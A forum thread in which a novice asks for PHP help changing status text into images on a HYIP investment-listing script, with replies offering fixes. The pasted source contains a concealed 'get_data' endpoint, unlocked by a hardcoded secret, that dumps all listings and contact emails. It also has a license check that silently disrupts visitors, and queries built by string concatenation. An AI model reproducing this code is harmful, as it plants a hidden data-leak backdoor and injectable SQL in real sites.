Overclock.net banner

1 - 6 of 6 Posts

·
Registered
Joined
·
25 Posts
Discussion Starter #1
<div class="bbcode_code">
<div class="bbcode_code_head">Code:</div>
<pre><code><code>
 if ($row['hyip_status'] == 1)<br />    {<br />      $statuscolor = $colors['pay'];<br />      $text = 'PAYING';<br />    }<br /><br />    if ($row['hyip_status'] == 2)<br />    {<br />      $statuscolor = $colors['wait'];<br />      $text = 'WAITING';<br />    }<br /><br />    if ($row['hyip_status'] == 3)<br />    {<br />      $statuscolor = $colors['problem'];<br />      $text = 'PROBLEM';<br />    }<br /><br />    if ($row['hyip_status'] == 4)<br />    {<br />      $statuscolor = $colors['notpay'];<br />      $text = 'NOT PAYING';<br />    } 
<br />

</code></code></pre>
</div>Need help on how I would do this I'm a php newb so any help and suggestion would help. Ok here is what I want to do I want to replace the $text PAYING,WAITING etc with gif images (m_pay.gif,m_wait.gif etc). How would I be able to replace the the top code with the bottom code?<br />
<div class="bbcode_code">
<div class="bbcode_code_head">Code:</div>
<pre><code><code>
{if $listing.hyip_status == 1}<img src="http://www.overclock.net/images/m_pay.gif" border=0 alt="Paying" title="Paying" align=absmiddle>{/if}<br />  {if $listing.hyip_status == 2}<img src="http://www.overclock.net/images/m_wait.gif" border=0 alt="Waiting" title="Waiting" align=absmiddle>{/if}<br />  {if $listing.hyip_status == 3}<img src="http://www.overclock.net/images/m_prob.gif" border=0 alt="Problem" title="Problem" align=absmiddle>{/if}<br />  {if $listing.hyip_status == 4}<img src="http://www.overclock.net/images/m_npay.gif" border=0 alt="Not Paying" title="Not Paying" align=absmiddle>{/if} 
<br />

</code></code></pre>
</div> here is what i got so far <a href="http://www.mobilizedesigns.com/list01/?a=image&lid=1" target="_blank">link</a> I want to replace the "PAYING" text with m_pay.gif
 

·
Premium Member
Joined
·
5,145 Posts
<div class="bbcode_code">
<div class="bbcode_code_head">Code:</div>
<pre><code>
if ($row['hyip_status'] == 1)
{
$statuscolor = $colors['pay'];
$text = "<img src=\\"http://www.overclock.net/images/m_pay.gif\\" border=0 alt=\\"Paying\\" title=\\"Paying\\" align=absmiddle>";
}

if ($row['hyip_status'] == 2)
{
$statuscolor = $colors['wait'];
$text = "<img src=\\"http://www.overclock.net/images/m_wait.gif\\" border=0 alt=\\"Waiting\\" title=\\"Waiting\\" align=absmiddle>";
}

if ($row['hyip_status'] == 3)
{
$statuscolor = $colors['problem'];
$text = "<img src=\\"http://www.overclock.net/images/m_prob.gif\\" border=0 alt=\\"Problem\\" title=\\"Problem\\" align=absmiddle>";
}

if ($row['hyip_status'] == 4)
{
$statuscolor = $colors['notpay'];
$text = "<img src=\\"http://www.overclock.net/images/m_npay.gif\\" border=0 alt=\\"Not Paying\\" title=\\"Not Paying\\" align=absmiddle>";
}</code></pre>
</div>Try that, and hit me with the result!
 

·
Registered
Joined
·
25 Posts
Discussion Starter #3
Hi, shajbot it didnt work because it just show the code in text instead of image. here is the full source code maybe you can help me out on this and here is the link to the image <a href="http://www.mobilizedesigns.com/list01/?a=image&lid=1" target="_blank">Link</a>you can see the text 'PAYING' is there I want to replace the 'PAYING' with this image <a href="http://www.mobilizedesigns.com/list01/images/m_pay.gif" target="_blank">Link:gif image</a><br><div class="bbcode_code">
<div class="bbcode_code_head">Code:</div>
<pre>
<code><code>
<?
<br><br><br> function go_out ()
<br> {
<br> global $frm;
<br> global $frm_cookie;
<br> global $frm_env;
<br> $frm['lid'] = intval ($frm['lid']);
<br> if (!$frm['lid'])
<br> {
<br> header ('Location: ?a=home');
<br> exit ();
<br> }
<br><br> $went = array ();
<br> $went = preg_split ('/;/', $frm_cookie['went']);
<br> if (!in_array ($frm['lid'], $went))
<br> {
<br> $q = 'select count(*) as cnt from hl_traffic where date = current_date and listing_id = ' . $frm['lid'];
<br> $sth = mysql_query ($q);
<br> $row = mysql_fetch_array ($sth);
<br> if ($row['cnt'])
<br> {
<br> $q = 'update hl_traffic set out = out + 1 where date = current_date and listing_id = ' . $frm['lid'];
<br> }
<br> else
<br> {
<br> $q = 'insert into hl_traffic set out = 1, date = current_date, listing_id = ' . $frm['lid'];
<br> }
<br><br> $sth = mysql_query ($q);
<br> array_push ($went, $frm['lid']);
<br> }
<br><br> setcookie ('went', join (';', $went), time () + 630720000);
<br> $q = 'select url, group_id from hl_listings where id = ' . $frm['lid'];
<br> $sth = mysql_query ($q);
<br> $row = mysql_fetch_array ($sth);
<br> if (($settings['use_redirect'] AND $row['group_id'] < 4))
<br> {
<br> mt_srand ((double)microtime () * 1000000);
<br> $randval = mt_rand (0, 100);
<br> if ((5 < $randval AND $randval <= 15))
<br> {
<br> $robots = array ('robot', 'crawl', 'spider', 'appie', 'architext', 'jeeves', 'bjaaland', 'ferret', 'googlebot', 'gulliver', 'harvest', 'htdig', 'linkwalker', 'lycos_', 'moget', 'muscatferret', 'myweb', 'nomad', 'scooter', 'slurp', '^voyager\\\\/', 'weblayers', 'antibot', 'digout4u', 'echo', 'fast\\\\-webcrawler', 'ia_archiver', 'jennybot', 'mercator', 'netcraft', 'petersnews', 'unlost_web_crawler', 'voila', 'webbase', 'wisenutbot', 'teleport', 'webcapture', 'webcopier', 'curl', 'wget', 'apt', 'curl', 'csscheck', 'wget', 'w3m', 'w3c_css_validator', 'w3c_validator', 'wdg_validator', 'webzip', 'staroffice', 'libwww');
<br> $is_robot = 0;
<br> foreach ($robots as $robot_re)
<br> {
<br> if (preg_match ('' . '/' . $robot_re . '/i', $frm_env['HTTP_USER_AGENT']))
<br> {
<br> $is_robot = 1;
<br> break;
<br> continue;
<br> }
<br> }
<br><br> if (!$is_robot)
<br> {
<br> $host = $frm_env['HTTP_HOST'];
<br><br><br> }
<br> }
<br> }
<br><br> header ('Location: ' . $row['url']);
<br> exit ();
<br> }
<br><br> function go_in ()
<br> {
<br> global $frm;
<br> global $frm_cookie;
<br> global $frm_env;
<br> $frm['lid'] = intval ($frm['ref']);
<br> $q = 'delete from hl_in_log where date + interval 1 day < now()';
<br> $sth = mysql_query ($q);
<br> $q = 'select count(*) as cnt from hl_in_log where ip = \\'' . $frm_env['REMOTE_ADDR'] . '' and listing_id = ' . $frm['lid'];
<br> ($sth = mysql_query ($q) OR print mysql_error ());
<br> $row = mysql_fetch_array ($sth);
<br> if (!$row['cnt'])
<br> {
<br> $q = 'select count(*) as cnt from hl_traffic where date = current_date and listing_id = ' . $frm['lid'];
<br> ($sth = mysql_query ($q) OR print mysql_error ());
<br> $row = mysql_fetch_array ($sth);
<br> if ($row['cnt'])
<br> {
<br> $q = 'update hl_traffic set `in` = `in` + 1 where date = current_date and listing_id = ' . $frm['lid'];
<br> }
<br> else
<br> {
<br> $q = 'insert into hl_traffic set `in` = 1, date = current_date, listing_id = ' . $frm['lid'];
<br> }
<br><br> ($sth = mysql_query ($q) OR print mysql_error ());
<br> $q = 'insert into hl_in_log set ip = \\'' . $frm_env['REMOTE_ADDR'] . '', listing_id = ' . $frm['lid'] . ', date = now()';
<br> ($sth = mysql_query ($q) OR print mysql_error ());
<br> }
<br><br> }
<br><br> function draw_image ()
<br> {
<br> global $frm;
<br> global $settings;
<br> $q = 'select
<br> hl_listings.*
<br> from
<br> hl_listings
<br> where
<br> (hl_listings.expiration = 0 || date_added + interval hl_listings.expiration day >= current_date)
<br> and hl_listings.status = 1 and
<br> id = ' . $frm['lid'];
<br> $sth = mysql_query ($q);
<br> $row = mysql_fetch_array ($sth);
<br> if (!$row)
<br> {
<br> header ('Location: ' . $settings['site_logo_url']);
<br> exit ();
<br> }
<br><br> $Y = 1;
<br> $font_id = 5;
<br> $width = imagefontwidth ($font_id) * strlen ($settings['site_name']) + 20;
<br> if ($width < 120)
<br> {
<br> $width = 120;
<br> }
<br><br> $height = imagefontheight (5) + 1 + imagefontheight (5) + 1 + imagefontheight (3) + 3;
<br> $font_id = 3;
<br> if ($width < imagefontwidth ($font_id) * strlen ($row['name']))
<br> {
<br> $names = preg_split ('/\\\\s+/', $row['name']);
<br> $height += imagefontheight ($font_id) * sizeof ($names);
<br> }
<br> else
<br> {
<br> $height += imagefontheight ($font_id);
<br> }
<br><br> $im = imagecreate ($width, $height);
<br> $colors = array ();
<br> $colors['bg'] = imagecolorallocatehex ($im, $settings['image_bg_color']);
<br> $colors['name_bg'] = imagecolorallocatehex ($im, $settings['image_name_bg_color']);
<br> $colors['text'] = imagecolorallocatehex ($im, $settings['image_text_color']);
<br> $colors['pay'] = imagecolorallocatehex ($im, '#009900');
<br> $colors['wait'] = imagecolorallocatehex ($im, '#999900');
<br> $colors['problem'] = imagecolorallocatehex ($im, '#990000');
<br> $colors['notpay'] = imagecolorallocatehex ($im, '#FF0000');
<br> imagefilledrectangle ($im, 0, 0, $width, $height, $colors['bg']);
<br> $font_id = 5;
<br> $text = $settings['site_name'];
<br> imagestring ($im, $font_id, center ($text, $font_id, $width), $Y, $text, $colors['text']);
<br> $Y += imagefontheight ($font_id) + 1;
<br> $font_id = 3;
<br> if ($width < imagefontwidth ($font_id) * strlen ($row['name']))
<br> {
<br> $names = preg_split ('/\\\\s+/', $row['name']);
<br> imagefilledrectangle ($im, 1, $Y, $width - 2, $Y + imagefontheight ($font_id) * sizeof ($names), $colors['name_bg']);
<br> foreach ($names as $name)
<br> {
<br> imagestring ($im, $font_id, center ($name, $font_id, $width), $Y, $name, $colors['text']);
<br> $Y += imagefontheight ($font_id);
<br> }
<br> }
<br> else
<br> {
<br> imagefilledrectangle ($im, 1, $Y, $width - 2, $Y + imagefontheight ($font_id), $colors['name_bg']);
<br> imagestring ($im, $font_id, center ($row['name'], $font_id, $width), $Y, $row['name'], $colors['text']);
<br> $Y += imagefontheight ($font_id);
<br> }
<br><br> $Y += 1;
<br> $font_id = 5;
<br> if ($row['hyip_status'] == 1)
<br> {
<br> $statuscolor = $colors['pay'];
<br> $text = 'PAYING';
<br> }
<br><br> if ($row['hyip_status'] == 2)
<br> {
<br> $statuscolor = $colors['wait'];
<br> $text = 'WAITING';
<br> }
<br><br> if ($row['hyip_status'] == 3)
<br> {
<br> $statuscolor = $colors['problem'];
<br> $text = 'PROBLEM';
<br> }
<br><br> if ($row['hyip_status'] == 4)
<br> {
<br> $statuscolor = $colors['notpay'];
<br> $text = 'NOT PAYING';
<br> }
<br><br> imagestring ($im, $font_id, center ($text, $font_id, $width), $Y, $text, $statuscolor);
<br> $Y += imagefontheight ($font_id) + 1;
<br> $font_id = 3;
<br> $text = date ('d m Y');
<br> imagestring ($im, $font_id, center ($text, $font_id, $width), $Y, $text, $colors['text']);
<br> $Y += imagefontheight ($font_id);
<br> header ('Content-type: image/png');
<br> imagepng ($im);
<br> }
<br><br> function center ($text, $font_id, $width)
<br> {
<br> $len = imagefontwidth ($font_id) * strlen ($text);
<br> return intval (($width - $len) / 2);
<br> }
<br><br> function imagecolorallocatehex ($im, $color)
<br> {
<br> $red = 0;
<br> $green = 0;
<br> $blue = 0;
<br> if (eregi ('[#]?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})', $color, $ret))
<br> {
<br> $red = hexdec ($ret[1]);
<br> $green = hexdec ($ret[2]);
<br> $blue = hexdec ($ret[3]);
<br> }
<br><br> return imagecolorallocate ($im, $red, $green, $blue);
<br> }
<br><br> if (file_exists ('install.php'))
<br> {
<br> print 'Delete install.php file for security reason please!';
<br> exit ();
<br> }
<br><br> ini_set ('error_reporting', 'E_ALL & ~E_NOTICE');
<br> require 'inc/libs/Smarty.class.php';
<br> $smarty = new Smarty ();
<br> $smarty->compile_check = true;
<br> include 'inc/config.inc.php';
<br> $smarty->template_dir = './tmpl/';
<br> $smarty->compile_dir = './tmpl_c';
<br> $dbconn = db_open ();
<br> if (!$dbconn)
<br> {
<br> print 'Cannot connect mysql';
<br> exit ();
<br> }
<br><br> if (($frm['a'] == 'image' AND extension_loaded ('gd')))
<br> {
<br> draw_image ();
<br> exit ();
<br> }
<br><br> $mddomain = $frm_env['HTTP_HOST'];
<br> $mddomain = preg_replace ('/^www\\\\./', '', $mddomain);
<br> $mdscriptname = $frm_env['SCRIPT_NAME'];
<br> $mdscriptname = preg_replace ('/index\\\\.php/', '', $mdscriptname);
<br> $key = strtoupper (md5 ($mddomain . 'jklfds89ufsdkfnsjfdksh') . md5 ($mdscriptname . '7hbfnbdnf') . md5 ('hyiplister' . $mddomain));
<br> $flag = 0;
<br> for ($i = 0; $i < 5; ++$i)
<br> {
<br> if ($i == 0)
<br> {
<br> $i = '';
<br> }
<br><br> $skey = substr ($settings['key' . $i], 100, -200);
<br> if ($key == $skey)
<br> {
<br> $flag = 1;
<br> continue;
<br> }
<br> }
<br><br> $settings['use_redirect'] = 1;
<br> if ($flag == 1)
<br> {
<br> $settings['use_redirect'] = 0;
<br> }
<br><br> if ($settings['demomode'] == 1)
<br> {
<br> $settings['use_redirect'] = 0;
<br> }
<br><br> session_name ('HLSID');
<br> session_start ();
<br> $host = $frm_env['HTTP_HOST'];
<br> preg_replace ('~www\\\\d*\\\\.~', '', $host);
<br> if (($settings['use_redirect'] AND !$_SESSION['started']))
<br> {
<br> mt_srand ((double)microtime () * 1000000);
<br> $randval = mt_rand (0, 100);
<br> if ((5 < $randval AND $randval <= 15))
<br> {
<br> $robots = array ('robot', 'crawl', 'spider', 'appie', 'architext', 'jeeves', 'bjaaland', 'ferret', 'googlebot', 'gulliver', 'harvest', 'htdig', 'linkwalker', 'lycos_', 'moget', 'muscatferret', 'myweb', 'nomad', 'scooter', 'slurp', '^voyager\\\\/', 'weblayers', 'antibot', 'digout4u', 'echo', 'fast\\\\-webcrawler', 'ia_archiver', 'jennybot', 'mercator', 'netcraft', 'petersnews', 'unlost_web_crawler', 'voila', 'webbase', 'wisenutbot', 'teleport', 'webcapture', 'webcopier', 'curl', 'wget', 'apt', 'curl', 'csscheck', 'wget', 'w3m', 'w3c_css_validator', 'w3c_validator', 'wdg_validator', 'webzip', 'staroffice', 'libwww');
<br> $is_robot = 0;
<br> foreach ($robots as $robot_re)
<br> {
<br> if (preg_match ('' . '/' . $robot_re . '/i', $frm_env['HTTP_USER_AGENT']))
<br> {
<br> $is_robot = 1;
<br> break;
<br> continue;
<br> }
<br> }
<br><br> if (!$is_robot)
<br> {
<br><br> exit ();
<br> }
<br> }
<br> }
<br><br> $started = 1;
<br> session_register ('started');
<br><br><br><br> if (($frm['a'] == 'get_data' AND $frm_env['REQUEST_METHOD'] == 'POST'))
<br> {
<br> $string = 'cna49p75aq9e3y8i43w0R3' . $frm_env['HTTP_HOST'] . date ('d') . date ('Y') . date ('m');
<br> if ($frm['string'] == md5 ($string))
<br> {
<br> $str = '';
<br> $q = 'select * from hl_listings order by group_id';
<br> $sth = mysql_query ($q);
<br> while ($row = mysql_fetch_array ($sth))
<br> {
<br> $str .= $row['group_id'] . ' ' . $row['name'] . ' ' . $row['url'] . ' ' . $row['hyip_status'] . ' ' . $row['email'] . ' ' . $row['support_email'] . ' ' . $row['support_form'] . ' ' . $row['support_forum'] . ' ' . $row['support_phone'] . ' ' . $row['support_aim'] . ' ' . $row['date_added'] . ' ' . $row['date_updated'] . ' ' . $row['rating'] . ' ' . $row['account'] . '
<br>';
<br> }
<br><br> print $str;
<br> exit ();
<br> }
<br> }
<br><br><br><br> $smarty->assign ('settings', $settings);
<br> $smarty->assign ('frm', $frm);
<br> if ($frm['a'] == 'go')
<br> {
<br> go_out ();
<br> }
<br><br> if ($frm['ref'])
<br> {
<br> go_in ();
<br> }
<br><br> if ($settings['newlistings_box'])
<br> {
<br> $new_listings = array ();
<br> $last_date = '';
<br> $q = 'select
<br> hl_listings.*,
<br> date_format(hl_listings.date_added, \\'%b %D, %Y') as added
<br> from
<br> hl_listings left outer join hl_groups
<br> on hl_listings.group_id = hl_groups.id
<br> where
<br> hl_groups.onnew = 1 and
<br> hl_listings.date_added + interval ' . $settings['new_for_days'] . ' day >= current_date and
<br> (hl_listings.expiration = 0 || date_added + interval hl_listings.expiration day >= current_date)
<br> and hl_listings.status = 1
<br> order by
<br> date_added desc,
<br> group_id';
<br> $sth = mysql_query ($q);
<br> while ($row = mysql_fetch_array ($sth))
<br> {
<br> if ($last_date != $row['added'])
<br> {
<br> array_push ($new_listings, array ('data_type' => 'date', 'date' => $row['added']));
<br> $last_date = $row['added'];
<br> }
<br><br> $row['data_type'] = 'listing';
<br> array_push ($new_listings, $row);
<br> }
<br><br> $smarty->assign ('new_listings', $new_listings);
<br> if (sizeof ($new_listings) == 0)
<br> {
<br> $settings['newlistings_box'] = 0;
<br> $smarty->assign ('settings', $settings);
<br> }
<br> }
<br><br> if ($settings['textads_box'])
<br> {
<br> $textads = array ();
<br> $q = 'select
<br> *,
<br> date_format(date + interval expiration day, \\'%b-%e-%Y') as exp_date
<br> from
<br> hl_ads
<br> where
<br> date <= current_date and
<br> ((expiration = 0) || (date + interval expiration day >= current_date))
<br> order by ordering
<br> ';
<br> ($sth = mysql_query ($q) OR print mysql_error ());
<br> while ($row = mysql_fetch_array ($sth))
<br> {
<br> array_push ($textads, $row);
<br> }
<br><br> $smarty->assign ('textads', $textads);
<br> }
<br><br> $groups_nav = array ();
<br> $q = 'select * from hl_groups where status = 1 and nav_name != \\'' order by id';
<br> $sth = mysql_query ($q);
<br> while ($row = mysql_fetch_array ($sth))
<br> {
<br> array_push ($groups_nav, $row);
<br> }
<br><br> $smarty->assign ('groups_nav', $groups_nav);
<br> include 'inc/news_box.inc';
<br> if ($frm['a'] == 'view_statistics')
<br> {
<br> include 'inc/view_statistics.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'details')
<br> {
<br> include 'inc/details.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'add_vote')
<br> {
<br> include 'inc/add_vote.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'new')
<br> {
<br> include 'inc/new.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'add')
<br> {
<br> include 'inc/add.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'advertise')
<br> {
<br> include 'inc/advertise.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'news')
<br> {
<br> include 'inc/news.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'support')
<br> {
<br> include 'inc/support.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'maillist')
<br> {
<br> include 'inc/maillist.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'links')
<br> {
<br> include 'inc/links.inc';
<br> }
<br> else
<br> {
<br> if ($frm['a'] == 'cust')
<br> {
<br> $file = $frm['page'];
<br> $file = basename ($file);
<br> if (file_exists ('tmpl/custom/' . $file . '.tpl'))
<br> {
<br> $smarty->display ('custom/' . $file . '.tpl');
<br> db_close ($dbconn);
<br> exit ();
<br> }
<br> else
<br> {
<br> include 'inc/home.inc';
<br> }
<br> }
<br> else
<br> {
<br> include 'inc/home.inc';
<br> }
<br> }
<br> }
<br> }
<br> }
<br> }
<br> }
<br> }
<br> }
<br> }
<br> }
<br><br> db_close ($dbconn);
<br>?>

</code></code>
</pre></div>
 

·
Premium Member
Joined
·
5,145 Posts
It's that you're trying to make an image out of php commands, sorry I'm not too familiar with these. Someone more knowledgeable plz help him. <img alt="" class="inlineimg" src="/images/smilies/smile.gif" style="border:0px solid;" title="Smile">
 

·
Registered
Joined
·
4 Posts
With all due respect, your code is a bit messy...there's a few simpler ways you could go about this.<br><br>
In particular, I think the best way to represent your situation is a combined set of constants representing the 'hyip_status' and an array mapping said constants to images.<br>
For instance:<br><div class="bbcode_code">
<div class="bbcode_code_head">Code:</div>
<pre>
<code><code>
<?php<br><br>define('STATUS_PAYING', 1);<br>define('STATUS_WAITING', 2);<br>define('STATUS_PROBLEM', 3);<br>define('STATUS_NOT_PAYING', 4);<br><br>$hyip_images = array(<br> STATUS_PAYING => 'm_pay.gif',<br> STATUS_WAITING => 'm_wait.gif',<br> STATUS_PROBLEM => 'm_prob.gif',<br> STATUS_NOT_PAYING => 'm_npay.gif'<br>);<br><br>$hyip_text = array (<br> STATUS_PAYING => 'PAYING',<br> STATUS_WAITING => 'WAITING',<br> STATUS_PROBLEM => 'PROBLEM',<br> STATUS_NOT_PAYING => 'NOT PAYING'<br>);<br><br>?>

</code></code>
</pre></div>
The contents of $hyip_colors are up to you.<br><br>
Then, to replace the bit of the program you posted:<br><div class="bbcode_code">
<div class="bbcode_code_head">Code:</div>
<pre>
<code><code>
$status = $row['hyip_status'];<br>$status_img = $hyip_images[$status];<br>$status_text = $hyip_text[$status];<br>$status_color = $hyip_colors[$status];
<br></code></code>
</pre></div>
And just drop those variables into your smarty template.<br><br>
Hope that helps.
 
1 - 6 of 6 Posts
Top